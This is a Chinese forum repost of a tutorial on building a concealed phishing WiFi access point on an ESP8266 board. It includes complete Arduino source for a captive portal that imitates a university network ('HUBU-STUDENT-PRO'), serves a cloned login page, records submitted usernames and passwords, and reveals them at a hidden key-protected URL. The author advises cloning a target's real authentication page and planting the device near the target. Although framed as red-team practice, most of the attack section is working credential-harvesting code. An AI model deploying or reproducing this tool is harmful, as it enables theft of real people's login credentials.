搜索

[16894] 2021-06-11_近源渗透，超低成本打造自定义专属钓鱼WIFI

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2021-06-11_近源渗透，超低成本打造自定义专属钓鱼WIFI 近 源 渗 透 ， 超 低 成 本 打 造 自 定 义 专 属 钓 鱼 W I F I 李 逍 遥 g   F r e e B u f   2 0 2 1 - 0 6 - 1 1 在 企 业 安 全 设 备 越 来 越 多 ， 边 境 安 全 防 护 越 做 越 好 的 情 况 下 ， 钓 鱼 攻 击 已 经 逐 渐 成 为 了 红 蓝 对 抗 演 练 的 主 要 方 法 。 而 随 着 邮 件 服 务 器 W A F 等 设 备 的 更 新 以 及 企 业 人 员 安 全 意 识 的 逐 步 提 高 ， 针 对 邮 件 钓 鱼 攻 击 也 有 了 更 多 的 防 范 措 施 。 在 攻 防 演 习 、 授 权 测 试 过 程 中 ， 近 源 渗 透 与 钓 鱼 攻 击 的 组 合 拳 能 达 到 出 其 不 意 的 效 果 在 攻 防 演 习 、 授 权 测 试 过 程 中 ， 近 源 渗 透 与 钓 鱼 攻 击 的 组 合 拳 能 达 到 出 其 不 意 的 效 果 ， 但 行 为 有 时 也 太 过 明 显 — 手 持 M B P 在 目 标 附 近 转 悠 ， 且 有 被 直 接 抓 获 的 风 险 （ 活 捉 成 就 达 成 ） 。 于 是 笔 者 制 作 了 一 款 钓 鱼 W I F I ， 特 点 是 小 型 且 不 易 被 发 现 ， 信 号 范 围 广 ， 其 次 是 成 本 低 ， 可 将 其 安 装 在 目 标 附 近 。 制 作 准 备 制 作 准 备 硬 件 硬 件 E S P 8 2 6 6 （ 某 宝 1 0 元 左 右 ） 电 源 模 块 （ 可 选 ）
软 件 软 件 A r d u i n o   1 . 8 . 1 3 及 以 上 软 件 配 置 软 件 配 置 A r d u i n o   -   首 选 项   -   附 加 开 发 版 管 理 网 址 ， 添 加 如 下 网 址 2 .   A r d u i n o   -   工 具   -   开 发 板   -   开 发 板 管 理 器 ， 输 入 ” e s p 8 2 6 6 ” ， 点 击 查 找 ， 选 择 ” e s p 8 2 6 6   b y   E S P 8 2 6 6   C o m m u n i t y ” 安 装 ， 下 载 时 建 议 使 用 代 理 。 3 .   下 载 E S P 8 2 6 6 F S ， 将 e s p 8 2 6 6 f s . j a r 放 入 A r d u i n o 根 目 录 下 的 t o o l s 文 件 夹 ， 以 M a c O S 为 例 ， 格 式 为 制 作 钓 鱼 网 页 制 作 钓 鱼 网 页 此 处 以 某 认 证 系 统 为 例 。 下 载 网 页 修 改 登 录 接 口 为 p a s s ， 用 户 名 密 码 为 u s e r ,   p a s s 。 h t t p : / / a r d u i n o . e s p 8 2 6 6 . c o m / s t a b l e / p a c k a g e _ e s p 8 2 6 6 c o m _ i n d e x . j s o n h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / S p a c e h u h n T e c h / a r d u i n o / m a i n / p a c k a g e _ s p a c e h u h n _ i n d e x . j s o n / A p p l i c a t i o n s / A r d u i n o . a p p / C o n t e n t s / J a v a / t o o l s / E S P 8 2 6 6 F S / t o o l / e s p 8 2 6 6 f s . j a r
刷 写 刷 写 E S P 8 2 6 6 固 件 固 件 A r d u i n o   -   文 件   -   新 建 ， 新 建 项 目 。 A r d u i n o   -   工 具 ， 配 置 开 发 板 信 息 如 下 ， 需 要 注 意 端 口 的 配 置 。
此 处 笔 者 直 接 贴 出 代 码 ， 并 对 代 码 做 了 详 细 注 解 ， 希 望 读 者 们 认 真 阅 读 ， 重 点 代 码 在 于 接 受 传 来 的 数 据 并 存 储 的 过 程 ， 能 够 举 一 反 三 。 # i n c l u d e   < E S P 8 2 6 6 W i F i . h > # i n c l u d e   < D N S S e r v e r . h > # i n c l u d e   < E S P 8 2 6 6 W e b S e r v e r . h > # i n c l u d e   < W i F i C l i e n t . h > # i n c l u d e   < F S . h > / /   D N S 默 认 端 口 ， 无 需 修 改 c o n s t   b y t e   D N S _ P O R T   =   5 3 ; / /   W I F I 名 称 c o n s t   c h a r   * s s i d   =   " H U B U - S T U D E N T - P R O " ; / /   A P 的 I P 地 址 （ 即 网 关 地 址 ） I P A d d r e s s   a p I P ( 1 9 2 ,   1 6 8 ,   1 ,   1 ) ; / /   查 看 存 储 密 码 的 密 码 S t r i n g   p p a s s w o r d   =   " t 1 2 3 0 6 1 " ; D N S S e r v e r   d n s S e r v e r ; E S P 8 2 6 6 W e b S e r v e r   w e b S e r v e r ( 8 0 ) ; / /   存 储 账 号 密 码 S t r i n g   d a t a   =   " " ; / /   认 证 页 面 S t r i n g   r e s p o n s e H T M L   =   " < h t m l > < h e a d > < m e t a   h t t p - e q u i v = " r e f r e s h "   c o n t e n t = " 1 ; U R L = ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / i n d e x . h t m l ' " > < / h e a d > < / h t m l > " ; / /   登 录 失 败 页 面 S t r i n g   r e s p o n s e H T M L _ e r r o r   =   " < h t m l > < h e a d > < m e t a   h t t p - e q u i v = " r e f r e s h "   c o n t e n t = " 5 ; U R L = ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / i n d e x . h t m l ' " > < h 3 > 没 有 找 到 符 合 条 件 的 策 略 ， 5 秒 后 返 回 < / h 3 > < / h e a d > < / h t m l > " ; S t r i n g   g e t C o n t e n t T y p e ( S t r i n g   f i l e n a m e ) {     i f ( w e b S e r v e r . h a s A r g ( " d o w n l o a d " ) )   r e t u r n   " a p p l i c a t i o n / o c t e t - s t r e a m " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . h t m " ) )   r e t u r n   " t e x t / h t m l " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . h t m l " ) )   r e t u r n   " t e x t / h t m l " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . c s s " ) )   r e t u r n   " t e x t / c s s " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . j s " ) )   r e t u r n   " a p p l i c a t i o n / j a v a s c r i p t " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . p n g " ) )   r e t u r n   " i m a g e / p n g " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . g i f " ) )   r e t u r n   " i m a g e / g i f " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . j p g " ) )   r e t u r n   " i m a g e / j p e g " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . i c o " ) )   r e t u r n   " i m a g e / x - i c o n " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . x m l " ) )   r e t u r n   " t e x t / x m l " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . p d f " ) )   r e t u r n   " a p p l i c a t i o n / x - p d f " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . z i p " ) )   r e t u r n   " a p p l i c a t i o n / x - z i p " ;     e l s e   i f ( f i l e n a m e . e n d s W i t h ( " . g z " ) )   r e t u r n   " a p p l i c a t i o n / x - g z i p " ;     r e t u r n   " t e x t / p l a i n " ; }
/ /   查 看 存 储 的 账 号 和 密 码 v o i d   p a w ( ) {     i f ( w e b S e r v e r . a r g ( " k e y " ) = = p p a s s w o r d ) {         w e b S e r v e r . s e n d ( 2 0 0 ,   " t e x t / p l a i n " ,   d a t a ) ;     } e l s e {         w e b S e r v e r . s e n d ( 2 0 0 ,   " t e x t / h t m l " ,   r e s p o n s e H T M L ) ;     } } / /   记 录 从 钓 鱼 界 面 传 过 来 的 账 号 和 密 码 v o i d   p a s s ( ) {     i f ( w e b S e r v e r . a r g ( " u s e r " )   ! =   " "   & &   w e b S e r v e r . a r g ( " p a s s " )   ! =   " " ) {         d a t a   + =   " u s e r n a m e : " ;         d a t a   + =   w e b S e r v e r . a r g ( " u s e r " ) ;         d a t a   + =   " - - - - p a s s w o r d : " ;         d a t a   + =   w e b S e r v e r . a r g ( " p a s s " ) ;         d a t a   + =   " r n " ;         w e b S e r v e r . s e n d ( 2 0 0 ,   " t e x t / h t m l " ,   r e s p o n s e H T M L _ e r r o r ) ;     } } v o i d   b a c k g r o u n d ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / b a c k g r o u n d . j p g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / j p e g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   b o o t s t r a p ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / b o o t s t r a p . c s s " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " t e x t / c s s " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   l o g o _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / l o g o . p n g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / p n g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   f a v i c o n ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / f a v i c o n . i c o " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / x - i c o n " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   m a i n _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / m a i n . c s s " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " t e x t / c s s " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   m i d d l e _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / m i d d l e . p n g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / p n g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   u n a m e _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / u n a m e . p n g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / p n g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; }   v o i d   u p w d _ r ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / u p w d . p n g " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " i m a g e / p n g " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; } v o i d   i n d e x _ r ( ) {     F i l e   f i l e   =   S P I F F S . o p e n ( " / i n d e x . h t m l " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " t e x t / h t m l " ) ;     f i l e . c l o s e ( ) ;     r e t u r n ; } / /   首 页 v o i d   h a n d l e R o o t ( )   {       F i l e   f i l e   =   S P I F F S . o p e n ( " / i n d e x . h t m l " ,   " r " ) ;     s i z e _ t   s e n t   =   w e b S e r v e r . s t r e a m F i l e ( f i l e ,   " t e x t / h t m l " ) ;
保 存 项 目 ， 会 自 动 生 成 一 个 文 件 夹 存 储 代 码 文 件 ， 根 据 步 骤 3 配 置 好 开 发 板 与 端 口 后 ， 点 击 编 译 上 传 ， 等 待 上 传 成 功 。     f i l e . c l o s e ( ) ;     r e t u r n ; } v o i d   s e t u p ( )   {     / /   W I F I 配 置     S e r i a l . b e g i n ( 9 6 0 0 ) ;     S P I F F S . b e g i n ( ) ;     W i F i . m o d e ( W I F I _ A P ) ;     W i F i . s o f t A P C o n f i g ( a p I P ,   a p I P ,   I P A d d r e s s ( 2 5 5 ,   2 5 5 ,   2 5 5 ,   0 ) ) ;     W i F i . s o f t A P ( s s i d ) ;     / /   D N S 配 置     d n s S e r v e r . s t a r t ( D N S _ P O R T ,   " * " ,   a p I P ) ;     / /   配 置 4 0 4 网 页 为 首 页     w e b S e r v e r . o n N o t F o u n d ( [ ] ( )   {         w e b S e r v e r . s e n d ( 2 0 0 ,   " t e x t / h t m l " ,   r e s p o n s e H T M L ) ;     } ) ;     / /   配 置 查 看 密 码 网 页     w e b S e r v e r . o n   ( " / k e y 5 1 8 " ,   H T T P _ G E T ,   p a w ) ;     w e b S e r v e r . o n ( " / " ,   h a n d l e R o o t ) ;     / /   配 置 登 录 接 口     w e b S e r v e r . o n ( " / p a s s " ,   H T T P _ G E T ,   p a s s ) ;   w e b S e r v e r . o n ( " / b a c k g r o u n d . j p g " ,   b a c k g r o u n d ) ;   w e b S e r v e r . o n ( " / b o o t s t r a p . c s s " ,   b o o t s t r a p ) ;   w e b S e r v e r . o n ( " / l o g o . p n g " ,   l o g o _ r ) ;   w e b S e r v e r . o n ( " f a v i c o n . i c o " ,   f a v i c o n ) ;   w e b S e r v e r . o n ( " / m a i n . c s s " ,   m a i n _ r ) ;   w e b S e r v e r . o n ( " / m i d d l e . p n g " ,   m i d d l e _ r ) ;   w e b S e r v e r . o n ( " / u n a m e . p n g " ,   u n a m e _ r ) ;   w e b S e r v e r . o n ( " / u p w d . p n g " ,   u p w d _ r ) ;     w e b S e r v e r . o n ( " / i n d e x . h t m l " ,   i n d e x _ r ) ;     w e b S e r v e r . b e g i n ( ) ; } v o i d   l o o p ( )   {     d n s S e r v e r . p r o c e s s N e x t R e q u e s t ( ) ;     w e b S e r v e r . h a n d l e C l i e n t ( ) ; }
在 项 目 目 录 下 新 建 d a t a 目 录 ， 将 前 端 文 件 放 入 ， 然 后 使 用 E S P 8 2 6 6 F S 工 具 上 传 到 此 制 作 已 经 全 部 完 成 成 品 演 示 成 品 演 示 连 接 W i F i
连 接 W i F i 后 自 动 弹 出 认 证 界 面 ， 输 入 用 户 密 码 t e s t / t e s t 点 击 登 录 后 跳 转 到 预 置 的 登 录 失 败 界 面 访 问 预 置 网 址   h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / k e y 5 1 4 ? p a s s = 1 2 3 0 6 1 ， 收 网 示 例 代 码 示 例 代 码
h t t p s : / / g i t h u b . c o m / p i a o l i n / P r o x i m a l P h i s h i n g （ 仅 供 学 习 参 考 使 用 ） 后 记 后 记 文 章 中 以 某 认 证 系 统 为 例 ， 在 实 际 测 试 中 ， 只 需 要 下 载 目 标 认 证 界 面 修 改 ， 或 自 行 编 写 界 面 ， 即 可 达 到 超 低 成 本 钓 鱼 效 果 。 经 过 笔 者 不 严 谨 的 测 试 ， 空 地 W i F i 范 围 可 达 2 0 0 m 左 右 。 同 时 读 者 们 可 举 一 反 三 ， 对 钓 鱼 方 法 及 代 码 进 行 更 加 针 对 性 的 改 动 ， 此 处 不 做 过 多 赘 述 。 账 号 密 码 存 储 可 写 入 存 储 而 非 内 存 （ 断 电 清 空 ） ， 由 于 笔 者 最 近 其 他 事 情 缠 身 ， 更 新 时 间 待 定 。 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理